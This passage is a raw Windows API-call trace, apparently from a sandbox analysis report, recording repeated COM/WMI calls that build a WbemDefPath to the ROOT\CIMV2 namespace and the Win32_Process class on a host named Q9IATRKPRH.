rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbbe0c0) returned 0x0 [0144.954] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbe0c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0144.954] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbe0c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1a980210) returned 0x0 [0144.954] WbemDefPath:IUnknown:Release (This=0x1bbbe0c0) returned 0x0 [0144.954] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980210, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1a980210) returned 0x0 [0144.955] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980210, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0144.955] WbemDefPath:IUnknown:AddRef (This=0x1a980210) returned 0x3 [0144.955] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980210, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0144.955] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980210, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0144.955] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980210, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbbe100) returned 0x0 [0144.955] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbe100, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0144.955] WbemDefPath:IUnknown:Release (This=0x1bbbe100) returned 0x3 [0144.955] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0144.955] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0144.955] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980210, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0144.955] WbemDefPath:IUnknown:Release (This=0x1a980210) returned 0x2 [0144.955] WbemDefPath:IUnknown:Release (This=0x1a980210) returned 0x1 [0144.955] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0144.956] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0144.956] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980210, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1a980210) returned 0x0 [0144.956] WbemDefPath:IUnknown:AddRef (This=0x1a980210) returned 0x3 [0144.956] WbemDefPath:IUnknown:Release (This=0x1a980210) returned 0x2 [0144.956] WbemDefPath:IWbemPath:SetText (This=0x1a980210, uMode=0x4, pszPath="") returned 0x0 [0144.956] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0144.956] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0144.956] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0144.956] IUnknown:Release (This=0x1a943398) returned 0x1 [0144.958] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbbe0c0) returned 0x0 [0144.959] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbe0c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0144.959] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbe0c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1a980150) returned 0x0 [0144.959] WbemDefPath:IUnknown:Release (This=0x1bbbe0c0) returned 0x0 [0144.959] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980150, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1a980150) returned 0x0 [0144.959] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980150, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0144.959] WbemDefPath:IUnknown:AddRef (This=0x1a980150) returned 0x3 [0144.959] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980150, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0144.959] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980150, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0144.959] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980150, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbbdf20) returned 0x0 [0144.960] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbdf20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0144.960] WbemDefPath:IUnknown:Release (This=0x1bbbdf20) returned 0x3 [0144.960] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0144.960] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0144.960] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980150, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0144.960] WbemDefPath:IUnknown:Release (This=0x1a980150) returned 0x2 [0144.960] WbemDefPath:IUnknown:Release (This=0x1a980150) returned 0x1 [0144.960] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0144.960] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0144.960] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980150, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1a980150) returned 0x0 [0144.960] WbemDefPath:IUnknown:AddRef (This=0x1a980150) returned 0x3 [0144.960] WbemDefPath:IUnknown:Release (This=0x1a980150) returned 0x2 [0144.960] WbemDefPath:IWbemPath:SetText (This=0x1a980150, uMode=0x4, pszPath="") returned 0x0 [0144.960] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980150, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0144.960] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980210, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0144.960] WbemDefPath:IWbemPath:GetClassName (in: This=0x1a980150, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0144.960] WbemDefPath:IWbemPath:GetServer (in: This=0x1a980150, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0144.960] WbemDefPath:IWbemPath:SetServer (This=0x1a980150, Name="Q9IATRKPRH") returned 0x0 [0144.960] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0144.960] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0144.961] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0144.961] IUnknown:Release (This=0x1a943398) returned 0x1 [0144.962] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbbe080) returned 0x0 [0144.963] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbe080, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0144.963] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbe080, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1a980090) returned 0x0 [0144.963] WbemDefPath:IUnknown:Release (This=0x1bbbe080) returned 0x0 [0144.963] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980090, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1a980090) returned 0x0 [0144.963] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980090, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0144.963] WbemDefPath:IUnknown:AddRef (This=0x1a980090) returned 0x3 [0144.963] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980090, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0144.963] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980090, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0144.963] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980090, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbbe000) returned 0x0 [0144.964] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbe000, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0144.964] WbemDefPath:IUnknown:Release (This=0x1bbbe000) returned 0x3 [0144.964] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0144.964] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0144.964] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980090, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0144.964] WbemDefPath:IUnknown:Release (This=0x1a980090) returned 0x2 [0144.964] WbemDefPath:IUnknown:Release (This=0x1a980090) returned 0x1 [0144.964] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0144.964] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0144.964] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980090, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1a980090) returned 0x0 [0144.964] WbemDefPath:IUnknown:AddRef (This=0x1a980090) returned 0x3 [0144.964] WbemDefPath:IUnknown:Release (This=0x1a980090) returned 0x2 [0144.964] WbemDefPath:IWbemPath:SetText (This=0x1a980090, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0144.964] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980150, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0144.964] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980090, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0144.964] WbemDefPath:IWbemPath:GetText (in: This=0x1a980090, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0144.964] WbemDefPath:IWbemPath:GetText (in: This=0x1a980090, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0144.964] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1a980150) returned 0x0 [0144.964] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980090, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0144.964] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a980090, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0144.964] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a980090, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0144.964] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1a980150, uIndex=0x0, pszName="ROOT") returned 0x0 [0144.965] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a980090, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0144.965] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a980090, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0144.965] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1a980150, uIndex=0x1, pszName="CIMV2") returned 0x0 [0144.965] WbemDefPath:IWbemPath:GetClassName (in: This=0x1a980150, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0144.965] WbemDefPath:IWbemPath:SetClassName (This=0x1a980150, Name="Win32_Process") returned 0x0 [0144.965] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980150, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0144.965] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980150, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0144.965] WbemDefPath:IWbemPath:GetText (in: This=0x1a980150, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0144.965] WbemDefPath:IWbemPath:GetText (in: This=0x1a980150, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0144.965] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980150, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0144.965] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980150, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0144.965] WbemDefPath:IWbemPath:GetText (in: This=0x1a980150, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0144.965] WbemDefPath:IWbemPath:GetText (in: This=0x1a980150, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0144.965] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980390, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0144.965] WbemDefPath:IWbemPath:GetText (in: This=0x1a980390, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0144.965] WbemDefPath:IWbemPath:GetText (in: This=0x1a980390, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0144.965] WbemDefPath:IWbemPath:GetText (in: This=0x1a980150, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0144.965] WbemDefPath:IWbemPath:GetText (in: This=0x1a980150, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0144.965] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0144.965] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0144.966] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0144.966] IUnknown:Release (This=0x1a943398) returned 0x1 [0144.968] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bb9ddd0) returned 0x0 [0144.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb9ddd0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0144.968] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb9ddd0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1a97ff10) returned 0x0 [0144.968] WbemDefPath:IUnknown:Release (This=0x1bb9ddd0) returned 0x0 [0144.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ff10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1a97ff10) returned 0x0 [0144.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ff10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0144.968] WbemDefPath:IUnknown:AddRef (This=0x1a97ff10) returned 0x3 [0144.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ff10, riid=0x7fef1136978*(Data1=0xecc8691b, 